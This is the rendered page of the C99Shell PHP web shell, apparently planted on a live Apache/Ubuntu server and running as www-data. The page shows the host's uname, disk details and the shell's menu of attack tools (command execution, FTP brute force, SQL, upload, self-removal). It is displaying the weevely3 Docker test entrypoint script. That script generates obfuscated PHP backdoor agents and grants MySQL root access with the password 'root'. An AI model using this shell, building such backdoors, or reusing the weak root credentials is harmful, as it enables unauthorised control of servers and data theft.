!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/tests/docker/   drwxr-xr-x
Free 13.14 GB of 57.97 GB (22.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     entrypoint.sh (991 B)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/bash
set -ex

echo "start of entrypoint"

BASE_FOLDER="$(python -c 'from tests import config;print(config.base_folder)')"
AGENT="$(python -c 'from tests import config;print(config.agent)')"
URL="$(python -c 'from tests import config;print(config.url)')"
PWD="$(python -c 'from tests import config;print(config.password)')"

# Generic environment setting install
mkdir -p "$BASE_FOLDER"
find . -type f -name '*.pyc' -exec rm -f {} \;
weevely generate -obfuscator obfusc1_php "$PWD" "$AGENT"
weevely generate "$PWD" "$BASE_FOLDER"agent.phar

a2enmod actions fcgid alias proxy_fcgi

update-alternatives --set php /usr/bin/php7.4

echo "staring services"
service ssh start
service php7.4-fpm start
service php8.2-fpm start
service apache2 start
service mariadb start

echo "grant root user to connect from network socket"
mysql -u root --password=root -e "grant all privileges on *.* to 'root'@'localhost' identified by 'root'; flush privileges;"

echo "going for a sleep..."
sleep 10000

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--